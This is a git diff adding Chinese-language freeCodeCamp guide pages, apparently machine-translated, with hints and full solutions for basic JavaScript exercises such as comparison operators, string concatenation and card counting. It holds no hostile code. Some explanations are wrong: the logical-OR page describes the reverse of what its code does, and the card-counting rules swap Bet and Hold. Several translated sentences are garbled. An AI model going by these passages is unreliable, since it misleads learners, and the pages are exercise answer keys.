diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-or-equal-to-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-or-equal-to-operator/index.md
new file mode 100644
index 0000000000..5773897fff
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-less-than-or-equal-to-operator/index.md
@@ -0,0 +1,22 @@
+---
+title: Comparison with the Less Than Or Equal To Operator
+localeTitle: 与小于或等于运算符的比较
+---
+## 与小于或等于运算符的比较
+
+**`<=`** （小于或等于）是一个逻辑运算符，它返回true，左边的值与右边的值**相同或者更低** 。
+
+## 基本解决方案
+
+```javascript
+function testLessOrEqual(val) { 
+  if (val <= 12) 
+    return "Smaller Than or Equal to 12"; 
+ 
+  if (val <= 24) 
+    return "Smaller Than or Equal to 24"; 
+ 
+  return "More Than 24"; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator/index.md
new file mode 100644
index 0000000000..5146ec3a6b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator/index.md
@@ -0,0 +1,56 @@
+---
+title: Comparison with the strict equality operator
+localeTitle: 与严格相等算子比较
+---
+## 与严格相等算子比较
+
+### 问题解释：
+
+· _在`if`语句中使用strict equality运算符，因此当`val`严格等于`7`时，函数将返回“Equal”。_
+
+#### 提示1
+
+请记住，在上一次练习中， _相等性与赋值（ `=` ）不同，后者将运算符右侧的值赋给左侧的变量。_ [1](#cite1)
+
+> _现在尝试解决问题_
+> 
+> #### 提示2
+> 
+> _与尝试将两个值都转换为公共类型的等于运算符不同，严格相等运算符不执行类型转换。_ [2](#cite2) _现在尝试解决问题_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 基本代码解决方案
+
+```javascript
+// Setup 
+ function testStrict(val) { 
+  if (val === 7) { // Change this line 
+    return "Equal"; 
+  } 
+  return "Not equal"; 
+ } 
+ 
+ // Change this value to test 
+ testStrict(10); 
+```
+
+### 代码说明
+
+功能首先评估`if`条件`(val === 7)`的计算结果为`true` 。如果是，则返回大括号之间的语句（“Equal”）。如果没有，则返回它们之外的下一个`return`语句（“Not equal”）。
+
+### 来源
+
+1 。 [“基本JavaScript：与平等运算符的比较”，JCC _算法和数据结构认证的_ fCC课程](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-equality-operator)
+
+2 。 [“基本JavaScript：与严格平等运算符的比较”，JCC _算法和数据结构认证的_ fCC课程](https://learn.freecodecamp.org/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-equality-operator)
+
+### 资源
+
+*   [“if ... else” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/if…else)
+    
+*   [孔多夫，亚历山大。 “理解JS：强制”。 _Hackernoon_](https://hackernoon.com/understanding-js-coercion-ff5684475bfc) ，2018年9月15日访问
+    
+*   [“比较运算符” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-inequality-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-inequality-operator/index.md
new file mode 100644
index 0000000000..e6b98a711a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparison-with-the-strict-inequality-operator/index.md
@@ -0,0 +1,41 @@
+---
+title: Comparison with the Strict Inequality Operator
+localeTitle: 与严格不等式算子的比较
+---
+## 与严格不等式算子的比较
+
+### 问题解释：
+
+· _将`strict inequality operator`添加到`if`语句，以便当`val`不严格等于`17`时，函数将返回“Not Equal”。_
+
+#### 提示1
+
+如果第一个值不等于考虑值类型的第二个值，则严格不等式运算符（ `!==` ）将返回`true` 。
+
+> _现在尝试解决问题_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 基本代码解决方案
+
+```javascript
+function testStrictNotEqual(val) { 
+  if (val !== 17) { 
+    return "Not equal"; 
+  } 
+  return "Equal"; 
+ } 
+ 
+ // Change this value to test 
+ testStrictNotEqual(10); 
+```
+
+### 代码说明
+
+该函数首先计算`if`条件`(val !== 17)`计算结果为`true`考虑价值和价值型。如果是，则返回花括号之间的语句（“不等于”）。如果没有，则返回它们之外的下一个`return`语句（“Equal”）。
+
+### 资源
+
+*   [“非身份/严格不平等（！==）” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Non-identity_strict_inequality_(!))
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-and-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-and-operator/index.md
new file mode 100644
index 0000000000..d4ce63a6bd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-and-operator/index.md
@@ -0,0 +1,53 @@
+---
+title: Comparisons with the && (logical AND) operator
+localeTitle: 与&&（逻辑AND）运算符进行比较
+---
+## 与&&（逻辑AND）运算符进行比较
+
+### 问题解释：
+
+· _将两个if语句合并为一个语句，如果`val`小于或等于`50`且大于或等于`25` ，则返回`"Yes"` 。否则，将返回`"No"` 。_
+
+#### 提示1
+
+逻辑AND（ `&&` ）运算符比较两个语句，并且仅当两者都为真或可以转换为true（真实）时才返回`true` 。
+
+> _现在尝试解决问题_
+
+#### 提示2
+
+请记住，嵌套`if`语句也可以实现这种效果。
+
+> _现在尝试解决问题_
+
+## 扰流板警报！
+
+**提前解决！**
+
+## 基本代码解决方案
+
+```javascript
+function testLogicalAnd(val) { 
+  // Only change code below this line 
+ 
+  if (val <= 50 && val >= 25) { 
+      return "Yes"; 
+  } 
+ 
+  // Only change code above this line 
+  return "No"; 
+ } 
+ 
+ // Change this value to test 
+ testLogicalAnd(10); 
+```
+
+· [在repl.it上运行代码](https://repl.it/@AdrianSkar/Basic-JS-Comparison-with-the-and-operator)
+
+### 代码说明
+
+功能首先评估`if`条件`val <= 50`的计算结果为`true`转换`val`到一个号码，如果有必要，则确实具有相同的`val >=25` ，因为逻辑AND（的`&&` ）算子;如果两者都返回true，则`return "Yes"`语句。
+
+### 资源
+
+*   [“逻辑运算符” - _MDN JavaScript参考_](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Logical_Operators)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-or-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-or-operator/index.md
new file mode 100644
index 0000000000..63e993010c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/comparisons-with-the-logical-or-operator/index.md
@@ -0,0 +1,19 @@
+---
+title: Comparisons with the Logical Or Operator
+localeTitle: 与逻辑或运算符的比较
+---
+## 与逻辑或运算符的比较
+
+### 指南：遵循示例中给出的代码
+
+**扰流警报**
+
+下面是示例代码（最简单的方法）。
+
+```javascript
+if ( val < 10 || val > 20 ) { 
+    return "Outside"; 
+ } 
+```
+
+仅当`val`介于10和20（含）之间时，上述代码才会返回“Outside”。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-addition/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-addition/index.md
new file mode 100644
index 0000000000..1a06b9287f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-addition/index.md
@@ -0,0 +1,12 @@
+---
+title: Compound Assignment With Augmented Addition
+localeTitle: 具有增强加法的复合赋值
+---
+## 具有增强加法的复合赋值
+
+计算机从左到右阅读。因此，使用'+ ='运算符意味着使用正确的数字添加变量，然后将变量分配给总和。像这样：
+```
+var a = 9; 
+ a += 10; // Now, 'a' is equal to 19 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-division/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-division/index.md
new file mode 100644
index 0000000000..bd38ccb757
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-division/index.md
@@ -0,0 +1,12 @@
+---
+title: Compound Assignment With Augmented Division
+localeTitle: 具有增广划分的复合赋值
+---
+## 具有增广划分的复合赋值
+
+计算机从左到右阅读。因此，使用'/ ='运算符意味着变量除以右边的数字，然后将变量赋给商。像这样：
+```
+var d = 10; 
+ d /= 5; // Now, 'd' is equal to 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-multiplication/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-multiplication/index.md
new file mode 100644
index 0000000000..98c73bc896
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-multiplication/index.md
@@ -0,0 +1,12 @@
+---
+title: Compound Assignment With Augmented Multiplication
+localeTitle: 具有增广乘法的复合赋值
+---
+## 具有增广乘法的复合赋值
+
+计算机从左到右阅读。因此，使用乘法赋值运算符意味着变量乘以右侧的数字，然后将变量赋值给产品。像这样：
+```
+var c = 2; 
+ c *= 3; // Now, 'c' is equal to 6 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-subtraction/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-subtraction/index.md
new file mode 100644
index 0000000000..a7d81dfb4a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/compound-assignment-with-augmented-subtraction/index.md
@@ -0,0 +1,12 @@
+---
+title: Compound Assignment With Augmented Subtraction
+localeTitle: 具有增广减法的复合赋值
+---
+## 具有增广减法的复合赋值
+
+计算机从左到右阅读。因此，使用' - ='运算符意味着变量被右侧的数字减去，然后变量被赋值给差值。像这样：
+```
+var b = 10; 
+ b -= 4; // Now, 'b' is 6 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-plus-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-plus-operator/index.md
new file mode 100644
index 0000000000..632c2d5708
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-plus-operator/index.md
@@ -0,0 +1,12 @@
+---
+title: Concatenating Strings with Plus Operator
+localeTitle: 用Plus运算符连接字符串
+---
+## 用Plus运算符连接字符串
+
+连接意味着链接在一起。将'+'运算符想象为将字符串链接在一起的链;像添加数字一样添加字符串。确保你的拼写正确！记下单词之间的空格。
+```
+var str = "Good " + "job!" // It says "Good job!" 
+ var abc = "Good" + "job!" // It says "Goodjob!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-the-plus-equals-operator/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-the-plus-equals-operator/index.md
new file mode 100644
index 0000000000..5d361b630f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/concatenating-strings-with-the-plus-equals-operator/index.md
@@ -0,0 +1,13 @@
+---
+title: Concatenating Strings with the Plus Equals Operator
+localeTitle: 使用Plus Equals运算符连接字符串
+---
+## 使用Plus Equals运算符连接字符串
+
+'+ ='运算符可以轻松地连接（链接）字符串。确保你的拼写正确，并且你留下了适当的空格。
+```
+var str = "Hello "; 
+ str += "coding"; // Now the string reads "Hello coding" 
+ str += "camper!"; // And now the string reads "Hello codingcamper!" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/constructing-strings-with-variables/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/constructing-strings-with-variables/index.md
new file mode 100644
index 0000000000..1003396592
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/constructing-strings-with-variables/index.md
@@ -0,0 +1,14 @@
+---
+title: Constructing Strings with Variables
+localeTitle: 用变量构造字符串
+---
+## 用变量构造字符串
+
+添加存储字符串的变量，以创建更长的字符串。确保你的拼写和间距是正确的。
+```
+var myName = "Bobby"; 
+ var myFavLetter = "B"; 
+ var sentence = "Hello, I'm " + myName + ". My favorite letter is " + myFavLetter + "."; 
+  //The result is "Hello, I'm Bobby. My favorite letter is B. 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/count-backwards-with-a-for-loop/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/count-backwards-with-a-for-loop/index.md
new file mode 100644
index 0000000000..b0c379cb4f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/count-backwards-with-a-for-loop/index.md
@@ -0,0 +1,48 @@
+---
+title: Count Backwards With a For Loop
+localeTitle: 用For循环向后计数
+---
+## 用For循环向后计数
+
+这是一个例子：
+
+```javascript
+// Example 
+ var ourArray = []; 
+ 
+ for (var i = 10; i > 0; i -= 2) { 
+  ourArray.push(i); 
+ } 
+ 
+ // Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+```
+
+#### 提示：1
+
+*   为myArray创建一个新的for循环
+
+#### 提示：2
+
+*   从9之前的第一个奇数开始
+
+# SPOILER警告：解决方案
+
+```javascript
+var ourArray = []; 
+ 
+ for (var i = 10; i > 0; i -= 2) { 
+  ourArray.push(i); 
+ } 
+ 
+ // Setup 
+ var myArray = []; 
+ 
+ // Only change code below this line. 
+ for (var i = 9; i > 0; i-=2){ 
+  myArray.push(i) 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/counting-cards/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/counting-cards/index.md
new file mode 100644
index 0000000000..0b97f4201f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/counting-cards/index.md
@@ -0,0 +1,134 @@
+---
+title: Counting Cards
+localeTitle: 计数卡
+---
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### ![:checkered_flag:](https://forum.freecodecamp.com/images/emoji/emoji_one/checkered_flag.png?v=3 "：checkered_flag：")问题说明：
+
+在赌场游戏**Blackjack中** ，玩家可以通过跟踪牌组中剩余的高牌和低牌的相对数量来获得优势。这称为卡片计数。
+
+在牌组中剩下更多高牌有利于玩家。根据下表为每张卡分配一个值。当计数为正数时，玩家应该下注。当计数为零或负数时，玩家应该下注低。
+
+价值|牌  
+\----- | ：-------------------：  
++1 | 2,3,4,5,6  
+0 | 7,8,9  
+\-1 | 10，'J'，'Q'，'K'，'A'
+
+你会写一个卡计数功能。它将接收一个**卡**参数，并根据卡的值递增或递减全局**计数**变量（参见表格）。然后，该函数将返回一个包含当前计数的字符串，如果计数为正则返回字符串`Bet` ，如果计数为零或为负，则返回`Hold` 。当前计数和玩家的决定（ `Bet`或`Hold` ）应该由一个空格分隔。
+
+*   更改下面的代码`// Only change code below this line` ，最多为`// Only change code above this line`
+*   确保您正在编辑`cc`函数的内部。
+*   使用您学到的知识来检查传递给函数的每个**卡**参数的值。
+*   保持该数字的运行计数。
+*   如果最终计数为1或更大，则返回**#Hold** 。
+*   如果最终计数为0或更少，则返回**#Bet** 。
+
+**示例输出：**
+
+*   \-3保持
+*   5投注
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+使用`switch` （或`else if` ）语句计算每张卡的值。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+将每张卡的值加/减到变量**计数** 。如果卡值为0，请不要做任何事情。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+在计算卡片后，使用`if`语句检查**计数值** 。另外，请确保您的`return`在数字和字符串之间有空格。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function cc(card) { 
+      // Only change code below this line 
+      switch(card){ 
+        case 2: 
+        case 3: 
+        case 4: 
+        case 5: 
+        case 6: 
+          count++; 
+          break; 
+        case 10: 
+        case "J": 
+        case "Q": 
+        case "K": 
+        case "A": 
+          count--; 
+          break; 
+      } 
+      if (count > 0){ 
+        return count + " Bet"; 
+      } else { 
+        return count + " Hold"; 
+      } 
+      // Only change code above this line 
+    } 
+```
+
+### 代码说明：
+
+*   通过`switch`语句检查每张卡的值。
+*   变量**计数** ：
+    *   如果卡是2,3,4,5或6，则增加1。
+    *   由于7,8和9不值得，我们在`switch`语句中忽略了这些卡。
+    *   如果卡是10，'J'，'Q'，'K'或'A'，则减1。
+*   检查**count**的值并返回相应的响应。
+
+**示例运行**
+
+*   `cc(2);`运行。
+*   `switch`语句命中`case 2` ，跳转并将变量`count` 。
+*   然后`switch`语句命中了`break`和`cc(3);`运行。
+*   这个循环一直持续到最后的呼叫为止， `cc('A');` 。
+*   在`switch`语句之后， `if`语句检查`count` ，现在为0。
+*   然后这将下降到`else`语句，该语句将返回**0 Hold** 。
+
+**_注意_** ：如前所述， `switch`语句也可能是`else if`语句。
+
+## 附加代码解决方案
+
+```javascript
+function cc(card) { 
+  // Only change code below this line 
+  var regex = /[JQKA]/; 
+  if (card > 1 && card < 7){count++;} 
+  else if (card === 10 || String(card).match(regex)){count--;} 
+ 
+  if (count > 0) return count + " Bet"; 
+  return count + " Hold"; 
+ 
+  // Only change code above this line 
+ } 
+```
+
+·在[repl.it上](https://repl.it/@AdrianSkar/Basic-JS-Counting-cards)运行代码。
+
+### 代码说明
+
+·该功能首先评估`if`条件`card`是一个大于`1`且小于`7` ，在这种情况下它递增`count`由一个。 ·然后，如果卡`10`或更高的IT递减`count`由一个。 ·变量`regex`是表示较高卡的值（字母）的[正则表达式](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/RegExp) 。 · `else`语句使用`|| (logical OR)`检查这些值`|| (logical OR)`运算符;首先是`10` ，然后是使用[String.match（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/match)匹配正则表达式的任何字符串。
+
+#### 资源
+
+*   [卡计数在维基百科](https://en.wikipedia.org/wiki/Card_counting)
+*   [挑战：使用切换语句从多个选项中进行选择](http://www.freecodecamp.com/challenges/selecting-from-many-options-with-switch-statements)
+*   [挑战：链接如果其他声明](http://www.freecodecamp.com/challenges/chaining-if-else-statements)
+*   [挑战：使用Javascript增加数字](http://www.freecodecamp.com/challenges/increment-a-number-with-javascript)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/create-decimal-numbers-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/create-decimal-numbers-with-javascript/index.md
new file mode 100644
index 0000000000..94939abcc5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/create-decimal-numbers-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Create Decimal Numbers with JavaScript
+localeTitle: 使用JavaScript创建十进制数
+---
+# 使用JavaScript创建十进制数
+
+JavaScript数字变量可以包含小数。
+```
+var myDecimal = 2.8; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-javascript-variables/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-javascript-variables/index.md
new file mode 100644
index 0000000000..58b623ad71
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-javascript-variables/index.md
@@ -0,0 +1,28 @@
+---
+title: Declare JavaScript Variables
+localeTitle: 声明JavaScript变量
+---
+# 声明JavaScript变量
+
+当我们将数据存储在数据结构中时，我们将其称为变量。 JavaScript变量是用驼峰式编写的。驼峰案例的一个例子是： `camelCase` 。
+
+您可以通过这种方式声明变量
+
+```js
+    var myName = "Rafael"; 
+```
+
+ES6引入了另外两种声明变量的方法。 **让**和**const** 。 _让我们_非常类似于var，并且在很大程度上是可以互换的：
+
+```js
+    let myAge = 36; 
+```
+
+在哪里_让_不同，在其范围内。当我们声明使用_var时_ ，它的范围是全局的。当我们声明使用_let时_ ，范围仅限于该函数。如果要在函数外部使用_let_变量，则必须使其在范围内全局或在下一个函数中重新声明它。
+
+另一方面， **const**只能声明一次。它的价值永远不会改变。
+
+```js
+    const myName = "Christina"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-string-variables/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-string-variables/index.md
new file mode 100644
index 0000000000..419de26caf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/declare-string-variables/index.md
@@ -0,0 +1,16 @@
+---
+title: Declare String Variables
+localeTitle: 声明字符串变量
+---
+## 声明字符串变量
+
+在JavaScript中，变量是**动态的** 。这意味着他们可以在给定时间保存数字，字符串或任何其他数据类型。要声明一个字符串，只需**初始化** （创建）一个变量：
+```
+var a; 
+```
+
+然后，使用单引号或双引号，声明字符串：
+```
+a = "Hello Camper!"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/decrement-a-number-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/decrement-a-number-with-javascript/index.md
new file mode 100644
index 0000000000..14bd3bb2bc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/decrement-a-number-with-javascript/index.md
@@ -0,0 +1,13 @@
+---
+title: Decrement a Number with JavaScript
+localeTitle: 使用JavaScript减少数字
+---
+## 使用JavaScript减少数字
+
+使用' - '运算符减少数字：
+```
+var a = 5; 
+ a--; // Now, 'a' is 4 
+ --a; // Now, 'a' is 3 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/delete-properties-from-a-javascript-object/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/delete-properties-from-a-javascript-object/index.md
new file mode 100644
index 0000000000..801485511c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/delete-properties-from-a-javascript-object/index.md
@@ -0,0 +1,36 @@
+---
+title: Delete Properties from a JavaScript Object
+localeTitle: 从JavaScript对象中删除属性
+---
+## 从JavaScript对象中删除属性
+
+### 提示：1
+
+*   使用点表示法更改myDog的属性
+
+# SPOILER警告：解决方案
+
+```javascript
+var ourDog = { 
+  "name": "Camper", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["everything!"], 
+  "bark": "bow-wow" 
+ }; 
+ 
+ delete ourDog.bark; 
+ 
+ // Setup 
+ var myDog = { 
+  "name": "Happy Coder", 
+  "legs": 4, 
+  "tails": 1, 
+  "friends": ["freeCodeCamp Campers"], 
+  "bark": "woof" 
+ }; 
+ 
+ // Only change code below this line. 
+ delete myDog.tails; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-decimal-by-another-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-decimal-by-another-with-javascript/index.md
new file mode 100644
index 0000000000..ee08fb471a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-decimal-by-another-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Divide One Decimal by Another with JavaScript
+localeTitle: 使用JavaScript将另一个十进制除以另一个
+---
+# 使用JavaScript将另一个十进制除以另一个
+
+Javascript使用`/`符号进行除法。
+```
+var quotient = 0.6 / 0.3; //quotient gets the value 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-number-by-another-with-javascript/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-number-by-another-with-javascript/index.md
new file mode 100644
index 0000000000..54c87516bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/divide-one-number-by-another-with-javascript/index.md
@@ -0,0 +1,11 @@
+---
+title: Divide One Number by Another with JavaScript
+localeTitle: 用JavaScript划分一个号码
+---
+# 用JavaScript划分一个号码
+
+Javascript使用`/`符号进行除法。
+```
+var quotient = 6 / 3; //quotient will get value 2 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md
new file mode 100644
index 0000000000..c1035a55d0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md
@@ -0,0 +1,9 @@
+---
+title: Escape Sequences in Strings
+localeTitle: 字符串中的转义序列
+---
+## 字符串中的转义序列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/javascript-algorithms-and-data-structures/basic-javascript/escape-sequences-in-strings/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escaping-literal-quotes-in-strings/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escaping-literal-quotes-in-strings/index.md
new file mode 100644
index 0000000000..f94b818f4d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/escaping-literal-quotes-in-strings/index.md
@@ -0,0 +1,19 @@
+---
+title: Escaping Literal Quotes in Strings
+localeTitle: 逃避字符串中的字面引用
+---
+## 逃避字符串中的字面引用
+
+*   当你需要使用特殊字符，例如`"`在字符串内部时，你需要使用`\`来转义它。
+*   如果使用双引号`"`的字符串，单引号`'`字符串中不需要进行转义。
+*   如果使用单引号`'`的字符串，双引号`"`字符串中不需要进行转义。
+
+## 解
+
+```javascript
+var myStr = "I am a \"double quoted\" string inside \"double quotes\"."; 
+ var otherStr = 'I am a \'single quoted\' string inside \'single quotes\'.'; 
+ var noEscapeSingle = "There is no need to 'escape' the single quotes."; 
+ var noEscapeDouble = 'There is no need to "escape" the double quotes.'; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/find-the-length-of-a-string/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/find-the-length-of-a-string/index.md
new file mode 100644
index 0000000000..6977bf2db1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/basic-javascript/find-the-length-of-a-string/index.md
@@ -0,0 +1,14 @@
+---
+title: Find the Length of a String
+localeTitle: 找到字符串的长度
+---
+## 找到字符串的长度
+
+字符串具有称为“长度”的**属性** （特征）。您所要做的就是在字符串/变量之后标记它。
+```
+var str1 = "Hello"; 
+ var length1 = str1.length; // This returns 5 
+ 
+ var length2 = " Camper".length; // This returns 7 because the space is counted as one character. 
+
+```
\ No newline at end of file
